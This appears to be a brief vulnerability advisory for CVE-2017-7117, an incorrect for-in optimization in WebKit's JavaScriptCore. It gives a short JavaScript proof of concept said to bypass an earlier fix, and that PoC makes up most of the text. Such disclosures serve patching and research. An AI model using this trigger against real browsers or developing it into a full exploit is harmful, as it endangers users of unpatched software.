WebKit: JSC: Incorrect for-in optimization #2(CVE-2017-7117)

                                                The following PoC bypasses the fix for the https://www.seebug.org/vuldb/ssvid-96629.

PoC:
function f() {
    let o = {};
    for (let i in {xx: 0}) {
        for (i of [0]) {

        }

        print(o[i]);
    }
}

f();